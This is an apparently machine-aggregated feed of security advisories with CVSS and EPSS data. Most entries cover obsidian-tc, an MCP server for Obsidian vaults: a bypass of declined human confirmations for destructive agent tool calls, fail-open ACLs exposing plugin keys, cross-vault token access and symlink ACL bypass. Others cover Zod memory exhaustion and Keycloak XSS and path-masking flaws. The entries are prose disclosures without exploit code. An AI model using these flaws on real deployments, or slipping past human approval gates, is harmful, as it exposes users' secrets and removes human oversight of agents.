https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25 ### Impact Bridge tool results filtered only the `items` array against the read ACL and passed sibling fields through unfiltered: `tasks_filter` emitted `groups` whose counts reflected denied notes, `makemd_query` returned `...result` siblings, and `list_templates` enumerated Templater template paths and parsed user-function bodies with no read-whitelist gate. A caller could infer or read data from notes outside its read ACL. ### Patches Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. All path-attributable fields are now scrubbed or fail-closed, and `list_templates` is gated on the read whitelist. ### Workarounds Disable the affected bridge tools (`tasks_filter`, `makemd_query`, `list_templates`) via tool visibility. Affected package ranges reported by GitHub: obsidian-tc: < 1.3.1 Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Zod can exhaust memory while validating oversized constrained collections https://kevwire.com/record/CVE-2023-54404 Zod can exhaust memory while validating oversized constrained collections (Oct 1, 2026). Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions. CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-mrhx-c7xc-m3w5). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-mrhx-c7xc-m3w5: https://github.com/advisories/GHSA-mrhx-c7xc-m3w5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-54404&date=2026-10-25 Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions. Affected package ranges reported by GitHub: zod: < 4.6.6 Action: GitHub lists first patched versions: zod: 4.6.6. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc: Declined human-in-the-loop confirmations can permit destructive calls over HTTP https://kevwire.com/record/CVE-2026-115477 obsidian-tc: Declined human-in-the-loop confirmations can permit destructive calls over HTTP (Oct 23, 2026). obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4. CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-737x-cwfr-5vvc). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25). Sources: NVD CVE-2026-115477: https://nvd.nist.gov/vuln/detail/CVE-2026-115477 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000 GitHub-reviewed advisory GHSA-737x-cwfr-5vvc: https://github.com/advisories/GHSA-737x-cwfr-5vvc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25 obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4. NVD status: Deferred. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc tokens can access arbitrary configured vaults https://kevwire.com/record/CVE-2026-77366 obsidian-tc tokens can access arbitrary configured vaults (Oct 12, 2026). obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks. CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-84c9-qqpq-2pq5). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25). Sources: NVD CVE-2026-77366: https://nvd.nist.gov/vuln/detail/CVE-2026-77366 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0 GitHub-reviewed advisory GHSA-84c9-qqpq-2pq5: https://github.com/advisories/GHSA-84c9-qqpq-2pq5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25 obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks. NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default https://kevwire.com/record/CVE-2026-77364 obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default (Oct 23, 2026). obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cvp8-vvgf-69q4). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-cvp8-vvgf-69q4: https://github.com/advisories/GHSA-cvp8-vvgf-69q4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25 ### Impact With a default configuration, an undefined `readPaths`/`writePaths` meant allow-all, the `strictReadDefault` flag was inert, and the `.obsidian`/`.git`/`.trash` control directories were denied only during enumeration — not on the direct request path. A caller could read `.obsidian/plugins/*/data.json`, exfiltrating **plugin API keys and Obsidian Sync passwords** (live-reproduced), as well as any other in-vault file by path. ### Patches Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. The default now denies `.obsidian`/`.git`/`.trash` on read/write/delete and honors `strictReadDefault` on the request path. ### Workarounds Set an explicit `readPaths`/`writePaths` whitelist that excludes the control directories. Affected package ranges reported by GitHub: obsidian-tc: < 1.3.1 Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc : Symlink read-ACL scope bypass via lexical path checks https://kevwire.com/record/CVE-2026-77361 obsidian-tc : Symlink read-ACL scope bypass via lexical path checks (Oct 23, 2026). obsidian-tc : Symlink read-ACL scope bypass via lexical path checks CVSS 4.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-c5xx-h28h-f682). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-c5xx-h28h-f682: https://github.com/advisories/GHSA-c5xx-h28h-f682 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25 ### Impact ACL checks ran on the lexical vault-relative path while containment used the realpath. An in-vault symlink placed under an allowed glob, whose realpath resolved into a denied folder, passed the read ACL — an intra-vault read-ACL-scope bypass. It requires an out-of-band-planted symlink (no MCP tool creates one) and is not a vault-root escape. ### Patches Fixed in **1.3.1**. Upgrade to `>= 1.3.1`. ACL enforcement now derives the realpath vault-relative path and feeds a single unified predicate at every site. ### Workarounds Do not permit untrusted symlinks inside the vault. Affected package ranges reported by GitHub: obsidian-tc: < 1.3.1 Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Keycloak has an improper input validation vulnerability https://kevwire.com/record/CVE-2026-0976 Keycloak has an improper input validation vulnerability (Jan 15, 2026). A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable. CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v897-pv23-r8cw). EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-v897-pv23-r8cw: https://github.com/advisories/GHSA-v897-pv23-r8cw GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25 A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable. Affected package ranges reported by GitHub: org.keycloak:keycloak-quarkus-server: <= 26.2.5 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Keycloak's identity-first login flow exposes user information https://kevwire.com/record/CVE-2026-4633 Keycloak's identity-first login flow exposes user information (Mar 23, 2026). A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration. CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-rhgq-f8x5-j2jc). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-rhgq-f8x5-j2jc: https://github.com/advisories/GHSA-rhgq-f8x5-j2jc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25 A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration. Affected package ranges reported by GitHub: org.keycloak:keycloak-services: >= 26.5.0, < 26.6.1 org.keycloak:keycloak-services: < 26.4.12 Action: GitHub lists first patched versions: org.keycloak:keycloak-services: 26.6.1; org.keycloak:keycloak-services: 26.4.12. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Keycloak: Arbitrary code execution via Stored Cross-Site Scripting (XSS) in organization selection login page https://kevwire.com/record/CVE-2026-37980 Keycloak: Arbitrary code execution via Stored Cross-Site Scripting (XSS) in organization selection login page (Apr 14, 2026). A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm. CVSS 6.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-m32f-8vh9-2hh3). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-m32f-8vh9-2hh3: https://github.com/advisories/GHSA-m32f-8vh9-2hh3 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: 